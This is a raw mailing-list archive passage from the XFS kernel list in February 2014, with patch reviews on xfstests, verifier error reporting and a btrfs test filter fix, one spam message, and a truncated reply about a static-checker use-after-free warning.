(Exim 4.80.1 #2 (Red Hat Linux)) id 1WCoLi-0002ZS-9O; Mon, 10 Feb 2014 10:44:26 +0000 Date: Mon, 10 Feb 2014 02:44:26 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems Message-ID: <20140210104426.GA9840@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems References: <1391588590-6035-1-git-send-email-david@fromorbit.com> <20140207174950.GB31464@infradead.org> <20140210015105.GN13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140210015105.GN13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392029066 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144990 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 10, 2014 at 12:51:05PM +1100, Dave Chinner wrote: > I can't say I like adding that prefix to the mkfs varaibles. I'll > change this one to something less generic, but I'm going to ignore > the others right now because changing them involves modifying 30+ > tests.... In that case let's keep the crc one without prefix for now. But I think introducing very generic variables into the environment implicitly is a bad idea and will bite us long term. Reluctantly: Reviewed-by: Christoph Hellwig From BATV+7b24ee5c980a04874329+3823+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 10 04:45:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 844EE7F56 for ; Mon, 10 Feb 2014 04:45:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6DB638F8033 for ; Mon, 10 Feb 2014 02:45:16 -0800 (PST) X-ASG-Debug-ID: 1392029114-04cb6c6de1245280001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id xLP0vUEmJvPgUGE4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 02:45:14 -0800 (PST) X-Barracuda-Envelope-From: BATV+7b24ee5c980a04874329+3823+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WCoMU-0003cn-A4; Mon, 10 Feb 2014 10:45:14 +0000 Date: Mon, 10 Feb 2014 02:45:14 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems Message-ID: <20140210104514.GB9840@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems References: <1391590000-7171-1-git-send-email-david@fromorbit.com> <20140207174754.GA31464@infradead.org> <20140210015200.GO13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140210015200.GO13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392029114 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144990 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 10, 2014 at 12:52:00PM +1100, Dave Chinner wrote: > > I really don't like opencoding this. Shouldn't we instead simplfy > > pass a nocrc argument to _scratch_mkfs_xfs? > > No, that simply breaks old mkfs binaries. Well, we couldn't pass it unconditionally - the main idea is to hide the magic and allow tests to easily create a noncrc filesystem. From david@fromorbit.com Mon Feb 10 04:55:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C55F77F52 for ; Mon, 10 Feb 2014 04:55:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 63ED6AC004 for ; Mon, 10 Feb 2014 02:55:37 -0800 (PST) X-ASG-Debug-ID: 1392029735-04bdf0121d256510001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9C3Ravso3D6BODlq for ; Mon, 10 Feb 2014 02:55:35 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AucHALKv+FJ5LGaB/2dsb2JhbABZgwy6e4VQgQ4XdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gEyQQXFo5nB4Q4BJgqkiKDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Feb 2014 21:25:35 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCoWT-0001gt-3W; Mon, 10 Feb 2014 21:55:33 +1100 Date: Mon, 10 Feb 2014 21:55:33 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems Message-ID: <20140210105533.GX13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems References: <1391588590-6035-1-git-send-email-david@fromorbit.com> <20140207174950.GB31464@infradead.org> <20140210015105.GN13647@dastard> <20140210104426.GA9840@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140210104426.GA9840@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392029735 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144991 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 10, 2014 at 02:44:26AM -0800, Christoph Hellwig wrote: > On Mon, Feb 10, 2014 at 12:51:05PM +1100, Dave Chinner wrote: > > I can't say I like adding that prefix to the mkfs varaibles. I'll > > change this one to something less generic, but I'm going to ignore > > the others right now because changing them involves modifying 30+ > > tests.... > > In that case let's keep the crc one without prefix for now. But I think > introducing very generic variables into the environment implicitly is > a bad idea and will bite us long term. > > Reluctantly: > > Reviewed-by: Christoph Hellwig I renamed it earlier this afternoon to "_fs_has_crc" so that code that checks it makes sense when you read it: if [ $_fs_has_crc -eq 1 ]; then ..... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 10 05:10:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1F3FD7F50 for ; Mon, 10 Feb 2014 05:10:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E2A758F8037 for ; Mon, 10 Feb 2014 03:10:50 -0800 (PST) X-ASG-Debug-ID: 1392030648-04bdf0734ca29b0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id U04R91Q90J35dTk3 for ; Mon, 10 Feb 2014 03:10:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AugHAE+z+FJ5LGaB/2dsb2JhbABPCoMMunuFUIEOF3SCJQEBBAEnExwjBQsIAxgJJQ8FJQMhE4d9B8kHFxaOC1wHhDgEmCqKUIdSg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Feb 2014 21:40:44 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCol8-0001jU-CT; Mon, 10 Feb 2014 22:10:42 +1100 Date: Mon, 10 Feb 2014 22:10:42 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH 5/6] xfs: add xfs_verifier_error() Message-ID: <20140210111042.GY13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add xfs_verifier_error() References: <52F83630.4020008@redhat.com> <52F83A8D.7030506@sandeen.net> <20140210034321.GR13647@dastard> <52F85294.6010309@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F85294.6010309@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392030648 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144991 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 09, 2014 at 10:16:20PM -0600, Eric Sandeen wrote: > On 2/9/14, 9:43 PM, Dave Chinner wrote: > > On Sun, Feb 09, 2014 at 08:33:49PM -0600, Eric Sandeen wrote: > >> We want to distinguish between corruption, CRC errors, > >> etc. In addition, the full stack trace on verifier errors > >> seems less than helpful; it looks more like an oops than > >> corruption. > >> > >> Create a new function to specifically alert the user to > >> verifier errors, which can differentiate between > >> EFSCORRUPTED and CRC mismatches. It doesn't dump stack > >> unless the xfs error level is turned up high. > >> > >> Define a new error message (EFSBADCRC) to clearly identify > >> CRC errors. (Defined to EILSEQ, bad byte sequence) > >> > >> Signed-off-by: Eric Sandeen > >> --- > >> fs/xfs/xfs_error.c | 22 ++++++++++++++++++++++ > >> fs/xfs/xfs_error.h | 3 +++ > >> fs/xfs/xfs_linux.h | 1 + > >> 3 files changed, 26 insertions(+), 0 deletions(-) > >> > >> diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c > >> index 9995b80..08d76f4 100644 > >> --- a/fs/xfs/xfs_error.c > >> +++ b/fs/xfs/xfs_error.c > >> @@ -178,3 +178,25 @@ xfs_corruption_error( > >> xfs_error_report(tag, level, mp, filename, linenum, ra); > >> xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); > >> } > >> + > >> +/* > >> + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid > >> + * values, and omit the stack trace unless the error level is tuned high. > >> + */ > >> +void > >> +__xfs_verifier_error( > >> + const char *func, > >> + struct xfs_buf *bp) > >> +{ > >> + struct xfs_mount *mp = bp->b_target->bt_mount; > >> + > >> + xfs_alert(mp, > >> +"%sCorruption detected in %s, block 0x%llx. Unmount and run xfs_repair", > >> + bp->b_error == EFSBADCRC ? "CRC " : "", func, bp->b_bn); > > > > Perhaps if we do this: > > > > xfs_alert(mp, > > "Metadata %s detected at %pF, block 0x%llx. Unmount and run xfs_repair", > > bp->b_error == EFSBADCRC ? "CRC error" > > : "corruption", _RET_IP_, bp->b_bn); > > > > We'll get a symbol of the form caller_name+0xoffset similar to a > > stack dump. That way if we have multiple calls to a > > xfs_verifier_error() inside a single function we get something that > > tells us which call detected the error... > > Hm, but the point of the switch based on error nrs was to require only > one call in each ->verifier, and ... Right, that's the current usage of it because we are simply returning true/false from the checking code. Determining the exact error is the report is much more useful - let's not lose sight of the end goal.... > > Also, the use of _RET_IP_ gets rid of the need for the wrapper > > macro.... > > 0x${SPLAT} is a lot less useful than i.e. "xfs_agi_read_verify" Note the format string I used: "%pF". That decodes the _RET_IP_ into the function name and offset from the start of the function. i.e. it returns xfs_agi_read_verify+0x. > Printing the _RET_IP_ requires disassembly of that particular build > to figure out where we went wrong, whereas printing __func__ makes it > clear on the initial read of the dmesg. The function is already there in plain test. You only need to go to tools if you want ot know the exact line it came from.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From wangshilong1991@gmail.com Mon Feb 10 06:13:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A97C07F3F for ; Mon, 10 Feb 2014 06:13:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 93B6C8F8035 for ; Mon, 10 Feb 2014 04:13:14 -0800 (PST) X-ASG-Debug-ID: 1392034392-04cb6c6de0247930001-NocioJ Received: from mail-pa0-f49.google.com (mail-pa0-f49.google.com [209.85.220.49]) by cuda.sgi.com with ESMTP id YJgljdPW0qAzIfuy (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 10 Feb 2014 04:13:13 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.49 Received: by mail-pa0-f49.google.com with SMTP id hz1so6099416pad.36 for ; Mon, 10 Feb 2014 04:13:12 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=AEJxpW21Iequ7mcMcC5TcaSPOo+qfcscS7DJBoYrL2o=; b=g6vOU9TxUPFcfD7rlu56q37/TgkE92i+OiQmBxRq7aUdrSUHy71oQNaj5zam3Qp6ZK dlfOO8v/cnJ7mWmwtDHQ+TUELguFL7DqijXNj/gvHOqn5FzUdzRR+UsUBWCKXlTfHyEH qcA/Jj0JLesU2zHHdKBlmuAxerPkYAgixjmTAiBzkPCy4Fxx6MRl/ugI/XhNhrNIDtWk hThHZZsm+ULPLb0i5CptCQrbBwlYGIXdkdVqh8JgGGDsre5LPH4roznc/ZGRk+RKAS3m HrFSOMRmA6gzl+GougGQhrbEDYxfjI4tzwoElZO7a8TwTxIsCOa7GaVnFvutrNxPyyh5 mIeg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.194.2 with SMTP id hs2mr25148359pac.79.1392034392503; Mon, 10 Feb 2014 04:13:12 -0800 (PST) Received: from linux-b0ol.site ([223.65.191.132]) by mx.google.com with ESMTPSA id da3sm41923788pbc.30.2014.02.10.04.13.09 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 10 Feb 2014 04:13:11 -0800 (PST) From: Wang Shilong X-Barracuda-Apparent-Source-IP: 223.65.191.132 To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Wang Shilong Subject: [PATCH] xfstests: btrfs/004: fix to make test really work Date: Mon, 10 Feb 2014 20:10:56 +0800 X-ASG-Orig-Subj: [PATCH] xfstests: btrfs/004: fix to make test really work Message-Id: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> X-Mailer: git-send-email 1.8.4 X-Barracuda-Connect: mail-pa0-f49.google.com[209.85.220.49] X-Barracuda-Start-Time: 1392034393 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144992 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Wang Shilong So i was wandering why test 004 could pass my previous wrong kernel patch while it defenitely should not. By some debugging, i found here perl script is wrong, we did not filter out anything and this unit test did not work acutally.so it came out we will never fail this test. Signed-off-by: Wang Shilong --- tests/btrfs/004 | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) mode change 100755 => 100644 tests/btrfs/004 diff --git a/tests/btrfs/004 b/tests/btrfs/004 old mode 100755 new mode 100644 index 14da9f1..17a6e34 --- a/tests/btrfs/004 +++ b/tests/btrfs/004 @@ -57,10 +57,9 @@ _require_command "/usr/sbin/filefrag" rm -f $seqres.full -FILEFRAG_FILTER='if (/, blocksize (\d+)/) {$blocksize = $1; next} ($ext, '\ -'$logical, $physical, $expected, $length, $flags) = (/^\s*(\d+)\s+(\d+)'\ -'\s+(\d+)\s+(?:(\d+)\s+)?(\d+)\s+(.*)/) or next; $flags =~ '\ -'/(?:^|,)inline(?:,|$)/ and next; print $physical * $blocksize, "#", '\ +FILEFRAG_FILTER='if (/blocks of (\d+) bytes/) {$blocksize = $1; next} ($ext, '\ +'$logical, $physical, $length) = (/^\s*(\d+):\s+(\d+)..\s+\d+:'\ +'\s+(\d+)..\s+\d+:\s+(\d+):/) or next; print $physical * $blocksize, "#", '\ '$length * $blocksize, "#", $logical * $blocksize, " "' # this makes filefrag output script readable by using a perl helper. -- 1.8.4 From trackrty@gmail.com Mon Feb 10 07:39:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 81D1C7F3F for ; Mon, 10 Feb 2014 07:39:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5A41D8F8033 for ; Mon, 10 Feb 2014 05:39:21 -0800 (PST) X-ASG-Debug-ID: 1392039560-04cbb00c2923ea80001-NocioJ Received: from mail-oa0-f67.google.com (mail-oa0-f67.google.com [209.85.219.67]) by cuda.sgi.com with ESMTP id hwZ0gvlUbu4B2C3x (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 10 Feb 2014 05:39:20 -0800 (PST) X-Barracuda-Envelope-From: trackrty@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.219.67 Received: by mail-oa0-f67.google.com with SMTP id g12so2765076oah.2 for ; Mon, 10 Feb 2014 05:39:20 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=etLAyauadJwl1Z+tHudKKyW7Z66unfkp/FTuJK/3szY=; b=dbrpzCwHiXP9EfN6SNvkCxoYuTFqUScw1ZMHOahzmK6ksTfIb9/sX0lAKVRzjHKVeC 02L4FbZ7gzoMbVDnwslSupkCKYPVn/aZY2Zzc2lTqsoPDyIagl1zAfzGqrJJ07q1uiOP MdQs0GgDnSlDhjlS6Y7GnsaqmSVMrKzFLj0oVZMgd5AwbE4AmJ+MPfoyLURWajglSQVz to19dL3GRX85k1I6HQufCoTOkqOynmSHsU2NzbojRDmVgM/KUoy1r8XjT3/+QWHJklq9 WcxoSX4oDqdYfY9jSd3s/2Yz75huw2lFStrj1K5KFSTVqP1YPHG2pWscHv5d0fut/SnX dOUQ== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.60.44.8 with SMTP id a8mr27274452oem.19.1392039559860; Mon, 10 Feb 2014 05:39:19 -0800 (PST) Received: by 10.60.158.101 with HTTP; Mon, 10 Feb 2014 05:39:19 -0800 (PST) Date: Mon, 10 Feb 2014 21:39:19 +0800 Message-ID: Subject: color box, display box, corrugated box, color card, blister card, color sleeve, hang tag, label From: Jinghao Printing - CHINA X-ASG-Orig-Subj: color box, display box, corrugated box, color card, blister card, color sleeve, hang tag, label To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a11c2e4587ab91a04f20d77f7 X-Barracuda-Connect: mail-oa0-f67.google.com[209.85.219.67] X-Barracuda-Start-Time: 1392039560 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 85a87bd685456535e7df0276525f49dd-228-txt X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144993 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c2e4587ab91a04f20d77f7 Content-Type: text/plain; charset=ISO-8859-1 Hi, this is David Wu from Shanghai, China. We are a printing company, we can print color box, corrugated box, label, hang tag etc. Please let me know if you need these. I will send you the website then. Best regards, David Wu --001a11c2e4587ab91a04f20d77f7 Content-Type: text/html; charset=ISO-8859-1
Hi, this is David Wu from Shanghai, China.
We are a printing company, we can print color box, corrugated box, label, hang tag etc.
Please let me know if you need these.

I will send you the website then.

Best regards,
David Wu

--001a11c2e4587ab91a04f20d77f7-- From jeff.liu@oracle.com Mon Feb 10 08:22:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 45EB97F3F for ; Mon, 10 Feb 2014 08:22:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2C61B8F8035 for ; Mon, 10 Feb 2014 06:22:09 -0800 (PST) X-ASG-Debug-ID: 1392042128-04cbb00c2a23fb70001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id RYhqNGbjsvQdbkfC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 06:22:08 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1AEM7JX023835 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 10 Feb 2014 14:22:08 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1AEM6JX007841 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 10 Feb 2014 14:22:07 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1AEM58U009506 for ; Mon, 10 Feb 2014 14:22:05 GMT Received: from [192.168.1.101] (/112.237.69.78) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 10 Feb 2014 06:22:04 -0800 Message-ID: <52F8E086.8030805@oracle.com> Date: Mon, 10 Feb 2014 22:21:58 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dan Carpenter , xfs@oss.sgi.com Subject: Re: potential use after free in xfs_iomap_write_allocate() References: <20140210103626.GA15018@elgon.mountain> X-ASG-Orig-Subj: Re: potential use after free in xfs_iomap_write_allocate() In-Reply-To: <20140210103626.GA15018@elgon.mountain> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392042128 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.61 X-Barracuda-Spam-Status: No, SCORE=2.61 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144994 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain 2.00 BSF_SC0_MV0249 Custom rule MV0249 On 02/10 2014 18:36 PM, Dan Carpenter wrote: > There is a static checker warning in xfs_iomap_write_allocate(). It's > sort of old so probably it's a false positive. > > fs/xfs/xfs_iomap.c:798 xfs_iomap_write_allocate() > warn: 'tp' was already freed. > > fs/xfs/xfs_iomap.c > 677 > 678 while (count_fsb != 0) { > > There are some paths where if (count_fsb == 0) then "tp" is free. I can not see a call pach would introduce "count_fsb == 0" because we only call xfs_iomap_write_allocate() in extent delayed allocation context, that is the count_fsb should be >= 1. > > 679 /* > 680 * Set up a transaction with which to allocate the > 681 * backing store for the file. Do allocations in a > 682 * loop until we get some space in the range we are > 683 * interested in. The other space that might be allocated > 684 * is in the delayed allocation extent on which we sit > 685 * but before our buffer starts. > 686 */ > 687 > 688 nimaps = 0; > 689 while (nimaps == 0) { > 690 tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); > 691 tp->t_flags |= XFS_TRANS_RESERVE; > 692 nres = XFS_EXTENTADD_SPACE_RES(mp, XFS_DATA_FORK); > 693 error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, > 694 nres, 0); > 695 if (error) { > 696 xfs_trans_cancel(tp, 0); > 697 return XFS_ERROR(error); > 698 } > 699 xfs_ilock(ip, XFS_ILOCK_EXCL); > 700 xfs_trans_ijoin(tp, ip, 0); > 701 > 702 xfs_bmap_init(&free_list, &first_block); > 703 > 704 /* > 705 * it is possible that the extents have changed since > 706 * we did the read call as we dropped the ilock for a > 707 * while. We have to be careful about 